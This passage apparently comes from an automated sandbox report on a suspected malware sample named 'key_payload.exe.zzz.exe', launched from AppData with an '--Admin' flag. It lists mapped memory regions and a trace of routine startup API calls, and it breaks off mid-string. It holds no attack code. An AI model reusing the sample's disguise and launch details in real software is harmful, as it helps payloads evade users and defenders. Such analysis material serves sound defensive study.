= 0xd2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 505 start_va = 0x73030000 end_va = 0x73037fff entry_point = 0x73030000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 507 start_va = 0xa50000 end_va = 0xa5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a50000" filename = "" Region: id = 508 start_va = 0xa60000 end_va = 0xa63fff entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 509 start_va = 0xa70000 end_va = 0xa70fff entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 510 start_va = 0xc10000 end_va = 0xc10fff entry_point = 0x0 region_type = private name = "private_0x0000000000c10000" filename = "" Region: id = 511 start_va = 0xc20000 end_va = 0xc21fff entry_point = 0xc20000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\SysWOW64\\oleaccrc.dll" (normalized: "c:\\windows\\syswow64\\oleaccrc.dll") Region: id = 512 start_va = 0xd30000 end_va = 0xd6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d30000" filename = "" Region: id = 513 start_va = 0xd70000 end_va = 0xd71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d70000" filename = "" Region: id = 514 start_va = 0xdd0000 end_va = 0xe8dfff entry_point = 0xdd0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 515 start_va = 0xe90000 end_va = 0xf8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e90000" filename = "" Region: id = 516 start_va = 0x1020000 end_va = 0x102ffff entry_point = 0x0 region_type = private name = "private_0x0000000001020000" filename = "" Region: id = 517 start_va = 0x1030000 end_va = 0x103ffff entry_point = 0x0 region_type = private name = "private_0x0000000001030000" filename = "" Region: id = 518 start_va = 0x13f0000 end_va = 0x1577fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000013f0000" filename = "" Region: id = 519 start_va = 0x1580000 end_va = 0x1700fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001580000" filename = "" Region: id = 520 start_va = 0x1710000 end_va = 0x2b0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001710000" filename = "" Region: id = 521 start_va = 0x743a0000 end_va = 0x743c0fff entry_point = 0x743a0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 522 start_va = 0x743d0000 end_va = 0x743f2fff entry_point = 0x743d0000 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\SysWOW64\\winmmbase.dll" (normalized: "c:\\windows\\syswow64\\winmmbase.dll") Region: id = 523 start_va = 0x74400000 end_va = 0x7456afff entry_point = 0x74400000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10240.16384_none_d15682eeaf714889\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10240.16384_none_d15682eeaf714889\\gdiplus.dll") Region: id = 524 start_va = 0x74570000 end_va = 0x7458afff entry_point = 0x74570000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 525 start_va = 0x74590000 end_va = 0x745b3fff entry_point = 0x74590000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 526 start_va = 0x745c0000 end_va = 0x74612fff entry_point = 0x745c0000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\SysWOW64\\oleacc.dll" (normalized: "c:\\windows\\syswow64\\oleacc.dll") Region: id = 527 start_va = 0x74620000 end_va = 0x74636fff entry_point = 0x74620000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 528 start_va = 0x74640000 end_va = 0x7465dfff entry_point = 0x74640000 region_type = mapped_file name = "oledlg.dll" filename = "\\Windows\\SysWOW64\\oledlg.dll" (normalized: "c:\\windows\\syswow64\\oledlg.dll") Region: id = 529 start_va = 0x74660000 end_va = 0x746c6fff entry_point = 0x74660000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\SysWOW64\\winspool.drv" (normalized: "c:\\windows\\syswow64\\winspool.drv") Region: id = 530 start_va = 0x746d0000 end_va = 0x748d8fff entry_point = 0x746d0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll") Region: id = 531 start_va = 0x748e0000 end_va = 0x748e5fff entry_point = 0x748e0000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll") Region: id = 532 start_va = 0x74910000 end_va = 0x74984fff entry_point = 0x74910000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 533 start_va = 0x74a30000 end_va = 0x74a88fff entry_point = 0x74a30000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 534 start_va = 0x74a90000 end_va = 0x74a99fff entry_point = 0x74a90000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 535 start_va = 0x74aa0000 end_va = 0x74abdfff entry_point = 0x74aa0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 536 start_va = 0x74ac0000 end_va = 0x74ac6fff entry_point = 0x74ac0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 537 start_va = 0x74ad0000 end_va = 0x74c0ffff entry_point = 0x74ad0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 538 start_va = 0x74c10000 end_va = 0x74c53fff entry_point = 0x74c10000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 539 start_va = 0x74c60000 end_va = 0x74cdafff entry_point = 0x74c60000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 540 start_va = 0x74ce0000 end_va = 0x74d23fff entry_point = 0x74ce0000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 541 start_va = 0x74d30000 end_va = 0x74ea5fff entry_point = 0x74d30000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 542 start_va = 0x74f70000 end_va = 0x75129fff entry_point = 0x74f70000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 543 start_va = 0x75130000 end_va = 0x7521ffff entry_point = 0x75130000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 544 start_va = 0x75220000 end_va = 0x7524afff entry_point = 0x75220000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 545 start_va = 0x752b0000 end_va = 0x752bbfff entry_point = 0x752b0000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 546 start_va = 0x752c0000 end_va = 0x7667efff entry_point = 0x752c0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 547 start_va = 0x76800000 end_va = 0x76cdcfff entry_point = 0x76800000 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 548 start_va = 0x76ce0000 end_va = 0x76d71fff entry_point = 0x76ce0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 549 start_va = 0x76da0000 end_va = 0x76ebffff entry_point = 0x76da0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 550 start_va = 0x76ec0000 end_va = 0x76ec5fff entry_point = 0x76ec0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 551 start_va = 0x76ed0000 end_va = 0x76f2bfff entry_point = 0x76ed0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 552 start_va = 0x76f30000 end_va = 0x77019fff entry_point = 0x76f30000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 553 start_va = 0x77020000 end_va = 0x77055fff entry_point = 0x77020000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 554 start_va = 0x770b0000 end_va = 0x770f2fff entry_point = 0x770b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 555 start_va = 0x77100000 end_va = 0x7710efff entry_point = 0x77100000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 556 start_va = 0x771d0000 end_va = 0x7725cfff entry_point = 0x771d0000 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 557 start_va = 0x772c0000 end_va = 0x7736bfff entry_point = 0x772c0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 558 start_va = 0x77370000 end_va = 0x774bcfff entry_point = 0x77370000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 559 start_va = 0x778d0000 end_va = 0x7798dfff entry_point = 0x778d0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 560 start_va = 0x7f2e0000 end_va = 0x7f3dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f2e0000" filename = "" Region: id = 561 start_va = 0x7f407000 end_va = 0x7f409fff entry_point = 0x0 region_type = private name = "private_0x000000007f407000" filename = "" Region: id = 562 start_va = 0xf90000 end_va = 0x100ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f90000" filename = "" Region: id = 565 start_va = 0xd80000 end_va = 0xd80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d80000" filename = "" Region: id = 566 start_va = 0x1040000 end_va = 0x10f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001040000" filename = "" Region: id = 567 start_va = 0xd80000 end_va = 0xd83fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d80000" filename = "" Region: id = 568 start_va = 0xd90000 end_va = 0xd93fff entry_point = 0x0 region_type = private name = "private_0x0000000000d90000" filename = "" Region: id = 569 start_va = 0x2b10000 end_va = 0x3001fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b10000" filename = "" Region: id = 570 start_va = 0xda0000 end_va = 0xda0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000da0000" filename = "" Region: id = 571 start_va = 0x3010000 end_va = 0x3346fff entry_point = 0x3010000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 572 start_va = 0x3350000 end_va = 0x344ffff entry_point = 0x0 region_type = private name = "private_0x0000000003350000" filename = "" Region: id = 573 start_va = 0xdb0000 end_va = 0xdb0fff entry_point = 0x0 region_type = private name = "private_0x0000000000db0000" filename = "" Region: id = 589 start_va = 0xd30000 end_va = 0xd33fff entry_point = 0x0 region_type = private name = "private_0x0000000000d30000" filename = "" Region: id = 590 start_va = 0xe90000 end_va = 0xecffff entry_point = 0x0 region_type = private name = "private_0x0000000000e90000" filename = "" Region: id = 591 start_va = 0x3450000 end_va = 0x348ffff entry_point = 0x0 region_type = private name = "private_0x0000000003450000" filename = "" Region: id = 592 start_va = 0x3490000 end_va = 0x358ffff entry_point = 0x0 region_type = private name = "private_0x0000000003490000" filename = "" Region: id = 593 start_va = 0x3590000 end_va = 0x368ffff entry_point = 0x0 region_type = private name = "private_0x0000000003590000" filename = "" Region: id = 594 start_va = 0x74380000 end_va = 0x74391fff entry_point = 0x74380000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\SysWOW64\\NapiNSP.dll" (normalized: "c:\\windows\\syswow64\\napinsp.dll") Region: id = 595 start_va = 0x7f404000 end_va = 0x7f406fff entry_point = 0x0 region_type = private name = "private_0x000000007f404000" filename = "" Region: id = 601 start_va = 0x74360000 end_va = 0x74375fff entry_point = 0x74360000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\SysWOW64\\pnrpnsp.dll" (normalized: "c:\\windows\\syswow64\\pnrpnsp.dll") Region: id = 602 start_va = 0x74340000 end_va = 0x74352fff entry_point = 0x74340000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\SysWOW64\\nlaapi.dll" (normalized: "c:\\windows\\syswow64\\nlaapi.dll") Region: id = 614 start_va = 0x742f0000 end_va = 0x7433dfff entry_point = 0x742f0000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 623 start_va = 0x74250000 end_va = 0x742d3fff entry_point = 0x74250000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 625 start_va = 0xed0000 end_va = 0xf0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 626 start_va = 0x3690000 end_va = 0x378ffff entry_point = 0x0 region_type = private name = "private_0x0000000003690000" filename = "" Region: id = 627 start_va = 0x74240000 end_va = 0x7424afff entry_point = 0x74240000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\SysWOW64\\winrnr.dll" (normalized: "c:\\windows\\syswow64\\winrnr.dll") Region: id = 628 start_va = 0x7f2dd000 end_va = 0x7f2dffff entry_point = 0x0 region_type = private name = "private_0x000000007f2dd000" filename = "" Region: id = 630 start_va = 0x742e0000 end_va = 0x742e7fff entry_point = 0x742e0000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 631 start_va = 0x74210000 end_va = 0x7423ffff entry_point = 0x74210000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 632 start_va = 0x74200000 end_va = 0x74207fff entry_point = 0x74200000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 633 start_va = 0x3790000 end_va = 0x386efff entry_point = 0x3790000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 670 start_va = 0x3450000 end_va = 0x354ffff entry_point = 0x0 region_type = private name = "private_0x0000000003450000" filename = "" Region: id = 807 start_va = 0x748f0000 end_va = 0x7490cfff entry_point = 0x748f0000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 808 start_va = 0xd40000 end_va = 0xd44fff entry_point = 0xd40000 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\user32.dll.mui") Region: id = 843 start_va = 0xf10000 end_va = 0xf4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f10000" filename = "" Region: id = 844 start_va = 0xf50000 end_va = 0xf8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f50000" filename = "" Region: id = 845 start_va = 0x2b10000 end_va = 0x2c0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b10000" filename = "" Region: id = 846 start_va = 0x2c10000 end_va = 0x2d0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c10000" filename = "" Region: id = 847 start_va = 0x7f2da000 end_va = 0x7f2dcfff entry_point = 0x0 region_type = private name = "private_0x000000007f2da000" filename = "" Region: id = 848 start_va = 0x7f404000 end_va = 0x7f406fff entry_point = 0x0 region_type = private name = "private_0x000000007f404000" filename = "" Region: id = 914 start_va = 0x3870000 end_va = 0x3d61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003870000" filename = "" Region: id = 915 start_va = 0x3d70000 end_va = 0x4daffff entry_point = 0x3d70000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 918 start_va = 0xd50000 end_va = 0xd50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d50000" filename = "" Region: id = 919 start_va = 0x2d10000 end_va = 0x2d4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d10000" filename = "" Region: id = 920 start_va = 0x2d50000 end_va = 0x2e4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d50000" filename = "" Region: id = 921 start_va = 0x7f2d7000 end_va = 0x7f2d9fff entry_point = 0x0 region_type = private name = "private_0x000000007f2d7000" filename = "" Region: id = 936 start_va = 0x2e50000 end_va = 0x2f4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e50000" filename = "" Region: id = 937 start_va = 0x3870000 end_va = 0x3a6ffff entry_point = 0x0 region_type = private name = "private_0x0000000003870000" filename = "" Region: id = 938 start_va = 0x4db0000 end_va = 0x51affff entry_point = 0x0 region_type = private name = "private_0x0000000004db0000" filename = "" Region: id = 939 start_va = 0x51b0000 end_va = 0x59affff entry_point = 0x0 region_type = private name = "private_0x00000000051b0000" filename = "" Thread: id = 23 os_tid = 0xfc4 [0099.259] GetStartupInfoW (in: lpStartupInfo=0xbdfb8c | out: lpStartupInfo=0xbdfb8c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0099.260] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0099.260] GetProcAddress (hModule=0x75130000, lpProcName=0x133ad34) returned 0x7514a330 [0099.260] GetProcAddress (hModule=0x75130000, lpProcName="FlsFree") returned 0x7514f400 [0099.260] GetProcAddress (hModule=0x75130000, lpProcName="FlsGetValue") returned 0x75147580 [0099.260] GetProcAddress (hModule=0x75130000, lpProcName="FlsSetValue") returned 0x75149910 [0099.260] GetProcAddress (hModule=0x75130000, lpProcName="InitializeCriticalSectionEx") returned 0x75156030 [0099.260] GetProcAddress (hModule=0x75130000, lpProcName="CreateEventExW") returned 0x75155f90 [0099.260] GetProcAddress (hModule=0x75130000, lpProcName="CreateSemaphoreExW") returned 0x75155ff0 [0099.260] GetProcAddress (hModule=0x75130000, lpProcName="SetThreadStackGuarantee") returned 0x7514a5d0 [0099.260] GetProcAddress (hModule=0x75130000, lpProcName="CreateThreadpoolTimer") returned 0x7514a690 [0099.261] GetProcAddress (hModule=0x75130000, lpProcName="SetThreadpoolTimer") returned 0x779c40f0 [0099.261] GetProcAddress (hModule=0x75130000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x779bd630 [0099.261] GetProcAddress (hModule=0x75130000, lpProcName="CloseThreadpoolTimer") returned 0x779becf0 [0099.261] GetProcAddress (hModule=0x75130000, lpProcName="CreateThreadpoolWait") returned 0x75155720 [0099.261] GetProcAddress (hModule=0x75130000, lpProcName="SetThreadpoolWait") returned 0x779be140 [0099.261] GetProcAddress (hModule=0x75130000, lpProcName="CloseThreadpoolWait") returned 0x779beb60 [0099.261] GetProcAddress (hModule=0x75130000, lpProcName="FlushProcessWriteBuffers") returned 0x779f9990 [0099.261] GetProcAddress (hModule=0x75130000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x779f5540 [0099.261] GetProcAddress (hModule=0x75130000, lpProcName="GetCurrentProcessorNumber") returned 0x779e9dc0 [0099.261] GetProcAddress (hModule=0x75130000, lpProcName="GetLogicalProcessorInformation") returned 0x7514a550 [0099.261] GetProcAddress (hModule=0x75130000, lpProcName="CreateSymbolicLinkW") returned 0x75170a40 [0099.262] GetProcAddress (hModule=0x75130000, lpProcName="SetDefaultDllDirectories") returned 0x74e60790 [0099.262] GetProcAddress (hModule=0x75130000, lpProcName="EnumSystemLocalesEx") returned 0x7514f8a0 [0099.262] GetProcAddress (hModule=0x75130000, lpProcName=0x13131e4) returned 0x7514fa30 [0099.262] GetProcAddress (hModule=0x75130000, lpProcName="GetDateFormatEx") returned 0x75171030 [0099.262] GetProcAddress (hModule=0x75130000, lpProcName="GetLocaleInfoEx") returned 0x7514a000 [0099.262] GetProcAddress (hModule=0x75130000, lpProcName="GetTimeFormatEx") returned 0x751714b0 [0099.262] GetProcAddress (hModule=0x75130000, lpProcName="GetUserDefaultLocaleName") returned 0x7514a4f0 [0099.262] GetProcAddress (hModule=0x75130000, lpProcName="IsValidLocaleName") returned 0x751716f0 [0099.262] GetProcAddress (hModule=0x75130000, lpProcName="LCMapStringEx") returned 0x75149970 [0099.312] GetProcAddress (hModule=0x75130000, lpProcName="GetCurrentPackageId") returned 0x74de3c90 [0099.312] GetProcAddress (hModule=0x75130000, lpProcName="GetTickCount64") returned 0x75148710 [0099.312] GetProcAddress (hModule=0x75130000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0099.312] GetProcAddress (hModule=0x75130000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0099.313] GetCurrentThreadId () returned 0xfc4 [0099.313] GetStartupInfoW (in: lpStartupInfo=0xbdfb5c | out: lpStartupInfo=0xbdfb5c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0099.313] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0099.313] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0099.313] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0099.313] GetCommandLineW () returned="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --Admin" [0099.313] GetEnvironmentStringsW () returned 0xc66b88* [0099.314] FreeEnvironmentStringsW (penv=0xc66b88) returned 1 [0099.314] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1398068, nSize=0x104 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe")) returned 0x3b [0099.315] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbdfba8 | out: lpSystemTimeAsFileTime=0xbdfba8*(dwLowDateTime=0xe683893b, dwHighDateTime=0x1d43868)) [0099.315] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0099.315] GetLastError () returned 0x0 [0099.315] SetLastError (dwErrCode=0x0) [0099.315] GetLastError () returned 0x0 [0099.315] SetLastError (dwErrCode=0x0) [0099.315] GetLastError () returned 0x0 [0099.315] SetLastError (dwErrCode=0x0) [0099.315] GetACP () returned 0x4e4 [0099.315] GetLastError () returned 0x0 [0099.315] SetLastError (dwErrCode=0x0) [0099.315] IsValidCodePage (CodePage=0x4e4) returned 1 [0099.315] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xbdfb50 | out: lpCPInfo=0xbdfb50) returned 1 [0099.315] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xbdf618 | out: lpCPInfo=0xbdf618) returned 1 [0099.315] GetLastError () returned 0x0 [0099.315] SetLastError (dwErrCode=0x0) [0099.316] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xbdfa2c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0099.316] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xbdfa2c, cbMultiByte=256, lpWideCharStr=0xbdf398, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ‿ĨĀ") returned 256 [0099.316] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ‿ĨĀ", cchSrc=256, lpCharType=0xbdf62c | out: lpCharType=0xbdf62c) returned 1 [0099.316] GetLastError () returned 0x0 [0099.316] SetLastError (dwErrCode=0x0) [0099.316] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xbdfa2c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0099.316] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xbdfa2c, cbMultiByte=256, lpWideCharStr=0xbdf368, cchWideChar=256 | out: lpWideCharStr=" 